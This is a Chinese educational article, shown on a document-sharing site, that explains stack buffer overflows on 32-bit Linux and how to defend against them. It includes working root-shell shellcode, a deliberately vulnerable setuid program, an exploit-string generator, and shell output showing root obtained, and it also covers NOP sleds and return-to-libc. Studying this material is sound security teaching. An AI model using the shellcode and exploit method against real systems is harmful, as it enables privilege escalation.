为了正常的体验网站,请在浏览器设置里面开启Javascript功能!

缓冲区溢出攻击原理与防范

2012-04-15 11页 pdf 345KB 117阅读

用户头像

is_284216

暂无简介

举报
缓冲区溢出攻击原理与防范 缓冲区溢出攻击的原理与防范 陈硕 2004-7-12 读者基础:熟悉 C语言及其内存模型,了解 x86汇编语言。 缓冲区溢出(buffer overflow)是安全的头号公敌,据报道,有 50%以上的安全漏洞和 缓冲区溢出有关。C/C++语言对数组下标访问越界不做检查,是引起缓冲区溢出问题的根本 原因。本文以 Linux on IA32(32-bit Intel Architecture,即常说的 x86)为平台,介绍缓 冲区溢出的原理与防范措施。 按照被攻击的缓冲区所处的位置,缓冲区溢出(buff...
缓冲区溢出攻击原理与防范
缓冲区溢出攻击的原理与防范 陈硕 2004-7-12 读者基础:熟悉 C语言及其内存模型,了解 x86汇编语言。 缓冲区溢出(buffer overflow)是安全的头号公敌,据报道,有 50%以上的安全漏洞和 缓冲区溢出有关。C/C++语言对数组下标访问越界不做检查,是引起缓冲区溢出问题的根本 原因。本文以 Linux on IA32(32-bit Intel Architecture,即常说的 x86)为平台,介绍缓 冲区溢出的原理与防范措施。 按照被攻击的缓冲区所处的位置,缓冲区溢出(buffer overflow)大致可分为两类:堆 溢出1(heap overflow)和栈溢出2(stack overflow)。栈溢出较为简单,我先以一些实例介 绍栈溢出,然后谈一谈堆溢出的一般原理。 栈溢出原理 我们知道,栈(stack)是一种基本的数据结构,具有后入先出(LIFO, Last-In-First-Out) 的性质。在 x86平台上,调用函数时实际参数(arguments)、返回地址(return address)、 局部变量(local variables)都位于栈上,栈是自高向低增长(先入栈的地址较高),栈指针 (stack pointer)寄存器 ESP始终指向栈顶元素。以图表 1中的简单程序为例,我们先将它 编译为可执行文件,然后在 gdb中反汇编并跟踪其运行: $ gcc stack.c –o stack -ggdb -mperferred-stack-boundary=2 在 IA32上,gcc默认按 8个字节对齐,为了突出主题,我们令它按 4字节对齐,最末一个 参数的用处在此。图表 1在每条语句之后列出对应的汇编指令,注意这是 AT&T格式汇编, mov %esp, %ebp 是将寄存器 ESP的值赋给寄存器 EBP(这与常用的 Intel 汇编格式正好相 反)。 // stack.c #01 int add(int a, int b) #02 { // push %ebp // mov %esp,%ebp #03 int sum; // sub $0x4,%esp #04 sum = a + b; // mov 0xc(%ebp),%eax // add 0x8(%ebp),%eax // mov %eax,0xfffffffc(%ebp) #05 return sum; // mov 0xfffffffc(%ebp),%eax 1 本文把静态存储区溢出也算作一种堆溢出。 2 Stack 通常翻译为“堆栈”,为避免与文中出现的“堆/heap”混淆,这里简称为“栈”。 // leave // ret #06 } #07 #08 int main() #09 { // push %ebp // mov %esp,%ebp #10 int ret = 0xDEEDBEEF; // sub $0x4,%esp // movl $0xdeedbeef,0xfffffffc(%ebp) #11 ret = add(0x19, 0x82); // push $0x82 // push $0x19 // call 80482f4 // add $0x8,%esp // mov %eax,0xfffffffc(%ebp) #12 return ret; // mov 0xfffffffc(%ebp),%eax // leave // ret #13 } 图表 1 典型的函数调用 当程序执行完第 10行时,堆栈如图表 2所示。图中每格表示一个 double word(4字节)。 图表 2 堆栈状况 1 EBP是栈帧指针(frame pointer),在整个函数的运行过程中,它始终指向间于返回地址和 局部变量之间的一个 double word,此处保存着调用端函数(caller)的 EBP值(第 9行对 应的两条指令正是起这个作用)。EBP 所指的位置之下是局部变量,例如 EBP-4 是变量 ret 的地址,-4的补码表示正好是 0xFFFFFFFC,第 11 行上方的 movl指令将 0xDEEDBEEF 存入变量 ret。当函数返回时,须将 EBP恢复原值。leave指令相当于: mov %ebp, %esp // 先令 esp指向 saved ebp pop %ebp // 弹出栈顶内容至 ebp,此时 esp正好指向返回地址,ebp也恢复原值 ret指令的作用是将栈顶元素(ESP所指之处)弹出至指令指针 EIP,完成函数返回动作。 执行第 11条语句时,先将 add()的两个参数按从右到左的顺序压入堆栈,call指令会 先把返回地址(也就是 call指令的下一条指令的地址,此处为一条 add指令3)压入堆栈, 3 C语言为了实现变长参数调用(就像 printf()),通常由调用端负责清理堆栈,这条 add指令正 是起平衡堆栈的作用。 然后修改指令指针 EIP,使程序(flow)到达被调用函数处(第 2 行)。当程序运行到 第 4行时,堆栈的情况如图表 3所示。 图表 3 堆栈情况 2 图中灰色部分是 main()的栈帧(stack frame,又称活动记录:activation record),其下是 add()的栈帧,从中可以看出,保存函数返回地址(return addr)的位置比第一个局部变量 高 8字节。由此我们想到,函数可以修改自己的返回地址。下面我们做一个试验。 // retaddr.c #01 #include #02 #03 void malice() #04 { #05 printf("Hey, you've been attacked.\n"); #06 } #07 #08 void foo() #09 { #10 int* ret; #11 ret = (int*)&ret + 2; // get the addr of return addr #12 (*ret) = (int)malice; // set my return addr to malice() #13 } #14 #15 int main() #16 { #17 foo(); #18 return 0; #19 } 图表 4 改变函数返回地址 图表 4 列出了一个函数改变自己返回地址的程序,foo()函数将自己的返回地址改为 malice()函数。编译运行这个程序,结果如下: $ gcc retaddr.c -o retaddr -ggdb -mpreferred-stack-boundary=2 $ ./retaddr Hey, you've been attacked. Segmentation fault (core dumped) core dump4发生在 malice()返回时,我们来分析一下究竟发生了什么。首先,在进入 main()函数后,在执行第 17 行之前,堆栈情况如图表 5-(a)所示,这是 main()的栈帧;随 后,进入函数 foo(),在执行第 11行之前,堆栈布局如图表 5-(b)所示,灰色部分是调用端 main()的栈帧;执行第 11行之后,ret指向函数的返回地址(图表 5-(c));第 12行修改*ret, 将返回地址设为 malice()的入口。foo()函数结束后,本应返回到 main(),执行第 18行的 语句 return 0;然而由于返回地址被修改,foo()函数返回后进入函数 malice(),在执行 第 5行之前,堆栈的情况如图表 5-(d)。 这时堆栈已被破坏,malice()函数的返回地址处存放的是 main()函数保存的 EBP值(图 中的 saved EBP* ),malice()函数返回后,会跳转到 saved EBP* 所指的地址,oops!接 下来发生的事情想必大家都知道了☺ (a) (b) (c) (d) 图表 5 堆栈情况 3 继续我们的试验:如何让这个程序正常退出?我想到的办法是,利用 main()函数的局 部变量伪造一个貌似合法的堆栈,让 malice()返回后,程序得以安全退出。办法很简单, 在 malice()的返回地址处放上 exit()的入口地址☺,当然,我们还要顺便伪造传给 exit() 的参数。改进后的main()见图表 6。 4 如果没有出现 core dumped字样,请先执行 ulimit –c unlimited。 #02 #include #15 int main() #16 { #17 volatile int exit_val = 100; #18 volatile int dumy = 0; #19 volatile void* ret_addr = &exit; #20 foo(); #21 } 图表 6 改进后的“修改函数返回地址”示例 使用 volatile关键字是为了防止编辑器将这些看似没用的局部变量优化掉。 进入函数 malice()后,堆栈情况如图表 7-(a)所示。与图表 5-(d)比较可知,malice() 会把 ret_addr作为自己的返回地址,我们已在此处填上了 exit()的入口地址。当 malice() 返回后,程序进入 exit()函数,这时堆栈如图表 7-(b)所示(注意,exit()没有保存 ESP)。 exit()函数会把 100认为是传递给自己的参数,还会认为返回地址是 0,但是 exit()永不 返回,所以不会造成 core dump,程序正常结束,返回给操作系统的代码是 100。 (a) (b) 图表 7 堆栈情况 4 有了以上对函数调用栈的了解,接下来,我们可以谈谈栈上的缓冲区溢出了。利用缓冲 区溢出,我们能 1) 自由修改 EIP,控制程序流程;2) 植入 shellcode,获得 root shell。所 谓 shellcode,是指能调出 shell的程序,功能如同 shellcode1.c(图表 8)。 #01 #include #02 #03 int main() #04 { #05 char* name[2]; #06 #07 setuid(0); // required if bash is used #08 name[0] = "/bin/sh"; #09 name[1] = NULL; #10 execve(name[0], name, NULL); #11 return 0; #12 } 图表 8 shellcode1.c 如果以 root权限执行这段程序,我们就能获得一个 root shell,Wow! 先试一把: $ gcc -o shellcode1 shellcode1.c $ whoami schen $ ./shellcode1 sh-2.05b$ whoami schen 咦?怎么没有变身 root?噢,忘了将 shellcode1的 owner设为 root,还要设置 suid位: $ sudo chown root shellcode1 $ sudo chmod +s shellcode1 $ whoami schen $ ./shellcode1 sh-2.05b# whoami root sh-2.05b# id // 不放心,再确认一下☺ uid=0(root) gid=500(schen) groups=500(schen) 当然,我们不能直接使用图表 8 中的程序,需要把它转换为机器码,再注入缓冲区。与这 段程序功能相同的机器码是5 char shellcode[] = // 为适应 strcpy(), shellcode中不能出现'\0' "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\x31\xc0\xb0\x17\x31\xdb\xcd\x80\xe8\xd4\xff\xff\xff/bin/sh"; 先用图表 9的程序验证一下这段机器码的功能与图表 8的 C程序相同。 #01 char shellcode[] = #02 "\xeb\x1f" // 同上,略 #06 int main() #07 { #08 int* ret; #09 #10 ret = (int*)&ret + 2; #11 (*ret) = (int)shellcode; #12 return 0; #13 } 图表 9 shellcode2.c $ gcc shellcode2.c -o shellcode2 -mpreferred-stack-boundary=2 $ sudo chown root shellcode2 $ sudo chmod +s shellcode2 $ ./shellcode2 sh-2.05b# whoami root 验证通过!接下来,我们写一个程序,让它以 root 权限运行的,在设法利用其中的漏 5 shellcode的构造方法不是文本的重点,请参阅文献[1]第 3章。此处用到的 shellcode取自文献[5]。 洞让它执行这段 shellcode,这样就能获得 root shell,达到攻击的目的。程序代码见图表 10。 #01 #include #02 #include #03 #04 int main(int argc, char* argv[]) #05 { #06 char buf[100]; #07 #08 printf("%p\n", buf); // we are cheating here ☺ #09 #10 if (argc > 1) #11 strcpy(buf, argv[1]); #12 #13 return 0; #14 } 图表 10 victim.c main()函数使用长度为 100字节的局部数组(local array)buf充当缓冲区,而且故意 犯了一个典型错误:使用 strcpy而没有检查目标缓冲区大小。main()函数的栈帧情况见图 表 11。数组是自低向高增长,如果写越界,就会改写堆栈高端的内容,那里存放着函数的 返回地址。 图表 11 victim.c 中的 main() 栈帧 我们构造一个足够覆盖 return addr的字符串(128字节)作为 victim的参数,这个字 符串的格式为: 其中 addr均是 double word,指向 buf的首地址。为便于实验,我们在 victim中把 buf的 首地址打印出来。这种格式适合较大的缓冲区,它要求缓冲区 buf长度大于 shellcode的长 度。我写了个程序(attack.c,图表 13),将以上字符串存为文件,再读取文件内容作为 victim 的参数。victim用 strcpy()将输入字符串复制到栈上的缓冲区 buf,字符串中的 addr域会 覆盖 main()的返回地址,让 main()退出后执行 shellcode。当 victim.c执行完第 11行时, 堆栈的情况如图表 12。 图表 12 被攻击后的堆栈 char shellcode[] = "\xeb\x1f" // 同上,略 int main(int argc, char* argv[]) { char buf[128]; int i; int addr = 0xBFFFF980; FILE* fp = NULL; if (argc > 1) addr = (int)strtoul(argv[1], NULL, 16); for (i = 0; i < sizeof(buf) / sizeof(int); ++i) *((int*)buf + i) = addr; printf("Try addr : %p\n", addr); memcpy(buf, shellcode, strlen(shellcode)); fp = fopen("buffer", "w"); if (fp) { fwrite(buf, sizeof(buf), 1, fp); fclose(fp); } return 0; } 图表 13 attack.c 接下来,试验攻击。先编译 victim和 attack,并给 victim设上 suid位。 $ gcc -o victim victim.c $ gcc -o attack attack.c $ sudo chown root victim $ sudo chmod +s victim 然后运行 victim获得 buf的首地址,按地址生成攻击字符串,存为文件 buffer。 $ ./victim 0xbffffad0 $ ./attack 0xbffffad0 Try addr : 0xbffffad0 用文件 buffer的内容作为 victim的参数,尝试攻击: $ ./victim `cat buffer` 0xbffffa40 Segmentation fault 奇怪,受传入参数的影响,buf的首地址变了,攻击失败。按照新地址生成攻击字符串,再 试一次,这次我们成功拿到了 root权限。 $ ./attack 0xbffffa40 Try addr : 0xbffffa40 $ ./victim `cat buffer` 0xbffffa40 sh-2.05b# whoami root 以上攻击过程在RedHat Linux 8.0上验证通过,但在RedHat Linux 9.0中,由于 victim 每次运行时 buf 的首地址不固定(前后波动可达数十 KB),这种攻击方法十次中也难得成 功一次。为此,我们在 shellcode 之前添加一些 NOP指令(opcode 为 0x90),以增加攻击 的成功率,修改后的攻击字符串格式为: 这样只要 addr指向 NOPs区域中的任何一点,都能执行到 shellcode,从而完成攻击。如果 缓冲区不够放下 shellcode,那么可以采用第二种攻击字符串格式: 这时同样可以在 shellcode之前填补一些 NOP指令以提高攻击的成功率。 利用缓冲区溢出除了能修改函数返回地址,还可以修改函数的敏感参数(如传入的函数 指针、密码字符串等),同样达到攻击的目的。C++语言的 vtable是个函数指针数组,自然 也可成为攻击的目标。 防御措施 栈上的缓冲区溢出可以修改函数的返回地址和传入参数,如果在进入函数时,将这些敏 感数据复制一份放在局部变量之下,在退出函数时用备份的数据覆盖原数据,那么即便出现 缓冲区溢出,也没有多大伤害。另外可以在局部变量之前放一个 cookie,在退出函数时检 查 cookie是否被修改,从而监测有无缓冲区溢出。这两点可由编译器帮我们做到。 栈上的数据既可以修改,又可以当作指令来执行,这是本文介绍的这种栈溢出攻击的条 件。现在某些操作系统如 Solaris、OpenBSD以及不久之后的Windows有所谓的W^X特 性,即一块内存区域不能既可写又可执行,这样就能防御这类栈溢出攻击。不过道高一尺, 魔高一丈,我们可以利用“return to libc”技术来达到攻击目的。前面图表 6的例子已经 看到,函数的返回地址可设为某一库函数。如果我们伪造一些参数(比如字符串"/bin/sh"), 再修改函数返回地址,让它执行 system()函数,一样可以获得 root shell。 缓冲区溢出的历史几乎和 C语言一样久远,C语言本身不检查下标越界,而常用的 库函数如 gets、strcpy、sprintf 等等也无处指明目标缓冲区的大小。受当时历史条件限 制,C语言这么设计是出于效率考虑,而且 C语言充分相信程序员的能力。然而这多少也纵 容了人们在编码时忽视检查缓冲区溢出。而现在编程教材似乎也不强调让学生养成检查目标 缓冲区大小以避免溢出的好习惯。避免缓冲区溢出,我觉得最重要的还是从源头做起,培养 良好的编程习惯,包括检查数组边界、用 fgets 替代 gets、用 strncpy 或 strlcpy 替代 strcpy,用snprint替代sprint等等。(C99标准刚加入可以指明目标缓冲区大小的snprint 函数。)只要小心在意,在编码时完全可以预防缓冲区溢出。 堆溢出简介 堆(heap)指的是以 malloc()动态分配的内存,C++把以 new动态分配的内存叫 free store,其实和堆是一回事。在 heap、全局变量、静态(static)变量中溢出的情况都算作堆 溢出。堆溢出攻击的主要手段是改写内存中的密码、函数指针、文件名、UID 等数据,达 到提升特权级别的目的。堆溢出通常要求对 malloc()所用的数据结构有深入了解,它比栈 溢出难度大。 参考文献 本文栈溢出的内容主要参考了文献[1],其第 3章专门介绍怎样编写 shellcode。本文用 到的 shellcode 取自文献[5]。堆溢出请参考文献[1]第 4 章和[2]。文献[3]和[4]对编写安全 的软件有非常好的建议。[6]、[7]、[8]是缓冲区溢出攻击的经典文献。 P.S. 因为我使用的绘图软件 gpic不支持中文,所以本文所有图片中的文字均为英文, 请读者见谅。 [1] Jack Koziol et al. The Shellcoder’s Handbook. Wiley. 2004. [2] Cyrus Peikari, Anton Chuvakin. Security Warrior. O’Reilly. 2004. [3] David A. Wheeler. Secure Programming for Linux and Unix HOWTO. 2003. http://www.dwheeler.com/secure-programs/. [4] John Viega, Gary McGraw. Building Secure Software. Addison Wesley. 2002. 中译本:《构建安全的软件》。钟向群 王鹏 译。清华大学出版社。2003年。 [5] 王勇。Linux下缓冲区溢出攻击的原理及对策。2003年。 http://www-900.ibm.com/developerWorks/cn/linux/l-overflow/index.shtml [6] Aleph One. Smashing The Stack For Fun And Profit. 1996. http://www.phrack.org/phrack/49/P49-14 [7] Pierre-Alain FAYOLLE, Vincent GLAUME. A Buffr Overflow Study: Attacks & Defenses. 2002. http://downloads.securityfocus.com/library/report.pdf [8] w00w00 on Heap Overflows. http://www.w00w00.org/files/articles/heaptut-chinese.txt 栈溢出原理 防御措施 堆溢出简介 参考文献
/
本文档为【缓冲区溢出攻击原理与防范】,请使用软件OFFICE或WPS软件打开。作品中的文字与图均可以修改和编辑, 图片更改请在作品中右键图片并更换,文字修改请直接点击文字进行修改,也可以新增和删除文档中的内容。
[版权声明] 本站所有资料为用户分享产生,若发现您的权利被侵害,请联系客服邮件isharekefu@iask.cn,我们尽快处理。 本作品所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用。 网站提供的党政主题相关内容(国旗、国徽、党徽..)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。

历史搜索

    清空历史搜索